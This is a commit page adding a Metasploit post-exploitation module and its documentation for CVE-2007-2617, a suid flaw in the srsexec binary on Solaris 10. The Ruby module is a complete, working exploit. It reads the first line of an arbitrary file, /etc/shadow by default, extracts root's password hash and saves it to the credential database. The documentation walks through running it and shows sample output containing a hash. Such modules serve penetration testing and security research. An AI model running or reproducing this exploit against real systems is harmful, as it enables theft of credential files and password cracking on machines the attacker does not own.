Land #10628, Add Solaris srsexec Arbitrary File Reader module

GSoC/Meterpreter_Web_Console
Brendan Coles 2018-09-21 01:56:43 +00:00
commit a7f53b9361
No known key found for this signature in database
GPG Key ID: 3EB700FCFBA899B5
2 changed files with 170 additions and 0 deletions

View File

@ -0,0 +1,63 @@
## Vulnerable Application
The vulnerable binary (`srsexec`) is included in the package Sun Remote Services
Net Connect Software Proxy Core (SUNWsrspx). The vulnerable versions are
3.2.3 and 3.2.4, for Solaris 10. This package was included on the extras/companion CD which
doesn't seem to available anymore. `srsexec`'s vulnerability is that it runs with the suid bit set,
and in debug verbose mode if given a file as input, the first line of that file will be echoed back.
Common exploitation is to read `/etc/shadow`, to get root's password hash, however any file can be read.
In lieu of this, a mock application was created in python and is available
[here](https://github.com/h00die/MSF-Testing-Scripts/blob/master/srsexec).
Follow the instructions in the python script to install, `argparse` also needs to be sent
to the Solaris box since pypi.org doesn't accept ssl2/3 which are the only versions in Solaris 10u9.
The output from `srsexec` is slightly odd. The first line of the file will be
after `binaries file line: ` and truncated at 20 characters. If the output is longer than 20 characters,
then the next line will start with the last 2 characters from the previous line, followed by the next
18 characters, and so on.
## Verification Steps
1. Install the application
2. Start msfconsole
3. Get a user level session
4. Do: ```use solaris/escalate/srsexec_readline```
5. Do: ```set session [#]```
6. Do: ```run```
7. You should be able to read the first line of a file.
8. If `/etc/shadow` is selected, check `creds`.
## Options
**File**
The file that should have the first line read. Default is `/etc/shadow` and root's hash will be databased.
## Scenarios
### Solaris 10 u9 with mock binary and python 2.4
```
msf5 post(solaris/escalate/srsexec_readline) > run
[+] 3.2.4 is vulnerable
[+] Raw Command Output: verify_binary(vFYZf)
srsexec: binary_name: vFYZf
srsexec: name_buf: vFYZf_______________
binaries file line: root:MW7h.vpI1Kq1g:1
binaries file line: :17599::::::
smmsp:NP
Security verification failed for binary: vFYZf
see SYSLOG(/var/adm/messages) for errors
[+] First line of /etc/shadow: root:MW7h.vpI1Kq1g:17599::::::
[+] Adding root's hash to the credential database.
[*] Post module execution completed
msf5 post(solaris/escalate/srsexec_readline) > creds
Credentials
===========
host origin service public private realm private_type
---- ------ ------- ------ ------- ----- ------------
1.1.1.1 root MW7h.vpI1Kq1g Nonreplayable hash
```

View File

@ -0,0 +1,107 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Post
include Msf::Post::File
include Msf::Post::Solaris::System
include Msf::Post::Solaris::Priv
def initialize(info={})
super( update_info( info,
'Name' => 'Solaris srsexec Arbitrary File Reader',
'Description' => %q{ This module exploits a vulnerability in NetCommander 3.2.3 and 3.2.5.
When srsexec is executed in debug (-d) verbose (-v) mode,
the first line of an arbitrary file can be read due to the suid bit set.
The most widely accepted exploitation vector is reading /etc/shadow,
which will reveal root's hash for cracking.},
'License' => MSF_LICENSE,
'Author' => [
'h00die', # metasploit module
'iDefense' # discovery reported anonymously to https://labs.idefense.com
],
'Platform' => [ 'solaris' ],
'SessionTypes' => [ 'shell', 'meterpreter' ],
'References' => [
['CVE', '2007-2617'],
['URL', 'https://download.oracle.com/sunalerts/1000443.1.html'],
['URL', 'https://www.securityfocus.com/archive/1/468235'],
['EDB', '30021'],
['BID', '23915']
],
'DisclosureDate' => 'May 07 2007',
))
register_options([
OptString.new('FILE', [true, 'File to read the first line of', '/etc/shadow'])
])
end
def suid_bin_path
'/opt/SUNWsrspx/bin/srsexec'
end
def check
if is_root?
fail_with Failure::BadConfig, 'Session already has root privileges'
end
# This ls is based on the guidance in the sun alerts article
unin = cmd_exec '/usr/bin/ls /opt/SUNWsrspx/bin/UninstallNetConnect.*.sh'
unin =~ /UninstallNetConnect\.([\d\.]{11})\.sh/
unless $1
print_error 'NetConnect uninstall not found, either not installed or too new'
return false
end
version = Gem::Version.new($1.split(".").map(&:to_i).join('.'))
unless version.between?(Gem::Version.new('3.2.3'), Gem::Version.new('3.2.4'))
print_error "#{version} is not vulnerable"
return false
end
print_good "#{version} is vulnerable"
unless setuid? suid_bin_path
vprint_error "#{suid_bin_path} is not setuid, it must have been manually patched"
return false
end
true
end
def run
unless check
fail_with Failure::NotVulnerable, 'Target is not vulnerable'
end
flag = Rex::Text.rand_text_alpha 5
output = cmd_exec("#{suid_bin_path} -dvb #{datastore['FILE']} #{flag}")
vprint_good("Raw Command Output: #{output}")
# The first line of the file is cut at 20 characters.
# If the output is longer than 20 characters, then
# the next line will start with the last 2 characters from the previous line,
# followed by the next 18 characters.
formatted_output = output.scan(/binaries file line: (.+)$/).flatten.map { |line|
(line.length == 20) ? line[0..17] : line
}.join
return if formatted_output.empty?
print_good("First line of #{datastore['FILE']}: #{formatted_output}")
return unless datastore['FILE'] == '/etc/shadow'
print_good("Adding root's hash to the credential database.")
credential_data = {
origin_type: :session,
session_id: session_db_id,
workspace_id: myworkspace.id,
post_reference_name: self.fullname,
username: formatted_output.split(':')[0],
private_data: formatted_output.split(':')[1],
private_type: :nonreplayable_hash
}
create_credential(credential_data)
end
end